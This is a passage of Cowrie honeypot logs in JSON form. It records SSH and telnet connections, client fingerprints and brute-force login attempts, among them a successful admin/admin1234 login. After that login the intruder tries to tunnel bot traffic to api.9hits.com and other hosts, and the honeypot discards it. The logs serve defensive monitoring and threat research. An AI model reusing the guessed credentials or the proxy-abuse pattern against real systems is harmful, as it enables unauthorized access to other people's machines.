01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:27.038656Z","src_ip":"91.92.40.36","session":"d183db6ba577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev1","message":"login attempt [dev/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:27.856388Z","src_ip":"91.92.40.36","session":"fcf6e744342b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168323516846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:30.680457Z","src_ip":"128.199.8.54","session":"e427848135da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:31.007966Z","src_ip":"91.92.40.36","session":"fcf6e744342b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24572,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6742fe8dde4","protocol":"ssh","message":"New connection: 91.92.40.36:24572 (159.203.135.109:22) [session: e6742fe8dde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:32.895717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:34.049320Z","src_ip":"91.92.40.36","session":"e6742fe8dde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:34.052103Z","src_ip":"91.92.40.36","session":"e6742fe8dde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59379,"dst_ip":"10.17.0.5","dst_port":22,"session":"50629063b279","protocol":"ssh","message":"New connection: 113.164.152.20:59379 (10.17.0.5:22) [session: 50629063b279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:36.168702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:36.172646Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"wasd","message":"login attempt [daemon/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:36.264062Z","src_ip":"91.92.40.36","session":"d183db6ba577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:36.456994Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:37.695740Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:38.176527Z","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:38.767081Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bnBtJmw4Mkwle0dtMD93NQ%3D%3DwS%2Fha8EroO8L8D8ZUYvlqRD05870dGkwBlbKbRJYyvbaXZVZwTeKjt45Lmfs%2BUstm3oew%2FGzdbj48O7h7yV8EvXV5hN8%2B%2BNZg%2FaSB9l4g91%2BiAWQSROTIbt33jViRWlQdtdk1faYRu%2F3pN3LLSxBUHLn%2FBeelAQVvmG%2FMwVsCbN5IvLAD7Seu5uN7OTziessXtrOsV9Y9rdlaUrJNpNaGK4GPu%2FJVgOEEP3imgn%2B%2B23EgZiGa8zutlyzuV%2BCCVvIELI1VqZYlcI8n4Exjz9wPAhrIFWkpTCui%2Fkwqn%2BgbE4mi%2BK1cKi1tLr5yBRNip13%2F2tGuQtizSvB69T4CiL5BINkncFRmn7tXr9pQ%2BUBcnLRkpYWpKzaIdGsyqYB0tyrAATqu%2FeIkQmsnSzyE1KHWtpasvXEhcpXaDkLEpjwQKB6YKfg%2FX775ViWU%2B8U65LPR00SmJBt49Bc3bV2ApEJi3c94A%2FGxjT4Tr5PpHmB3PbKDCuiRb%2B7Pzhhs%2FOUEoCegVc7ZUeSWhjOL3lfKUjmvHnM%2Bjn0A6%2FkVYa9ExsHglRogk28d1QHBNcvo2qJ1ymdwwA5dTYqkzcF3JJe5G1OrNqYfj%2Bv3wFhuQfROOYV5qB8yC4M8FADNe2NIgG1OMS7UZWfUjJ%2Bfu1t2Wy7IMEusext7k5PBSwGxZMS0%2FqJ7IBzs1wZP0eLxIZ3QzsTp%2FOair%2F%2Fs4HosY2nn%2FDeCwwvHtqA8gw4mdy4%2FqIeu7L7AZq0zMOgcvIwi%2BiBUcqAoNbWAZY0ul2Xractvs54pqLzi%2F5xOb0vcRR5LyGJgRUhl2qjAOK39jLMUGYjeaBSQKHQy7LetpnlGRtEjfPnEAPhSBe8dmbEHoTXRiA47x8sJ8nn9BgkJy1qOYDMoZZR%2FdmO5Q7Q0qRTrho2YuhlZbPjR3xz%2BMvmeqkUhSR5Lbmt5pk9Af8CSXviHwBEdz4TFhUSDe9guhpTKMFi6aY9xEi6tarwcTC%2FNfFX%2F8Dg1qN0QPtwm%2BbiH5bnrx1I0TJUOcIVnCGXwTWJJBLvVt5oLxUmUtMyz2CgFDqI5sfonuxyzB8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bnBtJmw4Mkwle0dtMD93NQ%3D%3DwS%2Fha8EroO8L8D8ZUYvlqRD05870dGkwBlbKbRJYyvbaXZVZwTeKjt45Lmfs%2BUstm3oew%2FGzdbj48O7h7yV8EvXV5hN8%2B%2BNZg%2FaSB9l4g91%2BiAWQSROTIbt33jViRWlQdtdk1faYRu%2F3pN3LLSxBUHLn%2FBeelAQVvmG%2FMwVsCbN5IvLAD7Seu5uN7OTziessXtrOsV9Y9rdlaUrJNpNaGK4GPu%2FJVgOEEP3imgn%2B%2B23EgZiGa8zutlyzuV%2BCCVvIELI1VqZYlcI8n4Exjz9wPAhrIFWkpTCui%2Fkwqn%2BgbE4mi%2BK1cKi1tLr5yBRNip13%2F2tGuQtizSvB69T4CiL5BINkncFRmn7tXr9pQ%2BUBcnLRkpYWpKzaIdGsyqYB0tyrAATqu%2FeIkQmsnSzyE1KHWtpasvXEhcpXaDkLEpjwQKB6YKfg%2FX775ViWU%2B8U65LPR00SmJBt49Bc3bV2ApEJi3c94A%2FGxjT4Tr5PpHmB3PbKDCuiRb%2B7Pzhhs%2FOUEoCegVc7ZUeSWhjOL3lfKUjmvHnM%2Bjn0A6%2FkVYa9ExsHglRogk28d1QHBNcvo2qJ1ymdwwA5dTYqkzcF3JJe5G1OrNqYfj%2Bv3wFhuQfROOYV5qB8yC4M8FADNe2NIgG1OMS7UZWfUjJ%2Bfu1t2Wy7IMEusext7k5PBSwGxZMS0%2FqJ7IBzs1wZP0eLxIZ3QzsTp%2FOair%2F%2Fs4HosY2nn%2FDeCwwvHtqA8gw4mdy4%2FqIeu7L7AZq0zMOgcvIwi%2BiBUcqAoNbWAZY0ul2Xractvs54pqLzi%2F5xOb0vcRR5LyGJgRUhl2qjAOK39jLMUGYjeaBSQKHQy7LetpnlGRtEjfPnEAPhSBe8dmbEHoTXRiA47x8sJ8nn9BgkJy1qOYDMoZZR%2FdmO5Q7Q0qRTrho2YuhlZbPjR3xz%2BMvmeqkUhSR5Lbmt5pk9Af8CSXviHwBEdz4TFhUSDe9guhpTKMFi6aY9xEi6tarwcTC%2FNfFX%2F8Dg1qN0QPtwm%2BbiH5bnrx1I0TJUOcIVnCGXwTWJJBLvVt5oLxUmUtMyz2CgFDqI5sfonuxyzB8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:38.770302Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:38.773189Z","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.038444Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\xeb\\xc17\\x88MS\\x12\\xda\\xbe\\xe2\\x10\\xea:\\xb6\\xc5\\x8f\\xc3\\xb9?\\xb4&\\xd3\\xbb\"\\xa39*0\\x1cK\\xd2 \\x17[Oz6<\\xff^\\xf8\\x14s0\\xaf\\xfeN\\xf3\\x02[\"\\x1a\\xcfK\\xab\\x80\\x14fl\\xce\\xc3\\x95\\xe6\\xac\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xcc\\xe3\\xe7\\x84&\\xe7\\xff\\xc1\\x12u\\xae_\\xb8M\\xf0B\\xd0\\xfa\\'\\xff7\\xb9z\\xdc?\\x02\\xdc\\xd0\\xbfi>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\xeb\\xc17\\x88MS\\x12\\xda\\xbe\\xe2\\x10\\xea:\\xb6\\xc5\\x8f\\xc3\\xb9?\\xb4&\\xd3\\xbb\"\\xa39*0\\x1cK\\xd2 \\x17[Oz6<\\xff^\\xf8\\x14s0\\xaf\\xfeN\\xf3\\x02[\"\\x1a\\xcfK\\xab\\x80\\x14fl\\xce\\xc3\\x95\\xe6\\xac\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeb\\xcc\\xe3\\xe7\\x84&\\xe7\\xff\\xc1\\x12u\\xae_\\xb8M\\xf0B\\xd0\\xfa\\'\\xff7\\xb9z\\xdc?\\x02\\xdc\\xd0\\xbfi>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.040480Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.320329Z","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.597199Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xab\\xbd\\xacOX\\nB\\x81W\\x84i\\xd2\\xc9G\\x82\\xa7\\xae\\xfd\\xb7\\x16rP\\xc7\\xcd\\x17\\xeeH\\x11\\xfb\\xe9F \\xfa~\\x96\\x15\\x08\\xbc%\\x04\\xee.\\x9a\\xe5\\xacc|\\xe3\\xdf\\xf5\\xac\\xb9\\xd8\\x16\\xb5`\"\\xa6\\xf78\\x13\\n\\xbcS\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\x81\\x0f\\xb47I\\x1ej\\xa04\\xd8\\x14\\xae#\\x8aw\\x95\\x9d\\xe0\\xe4C\\xe8d36\\x13U\\x80\\x1a\\xba\\xa7&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xab\\xbd\\xacOX\\nB\\x81W\\x84i\\xd2\\xc9G\\x82\\xa7\\xae\\xfd\\xb7\\x16rP\\xc7\\xcd\\x17\\xeeH\\x11\\xfb\\xe9F 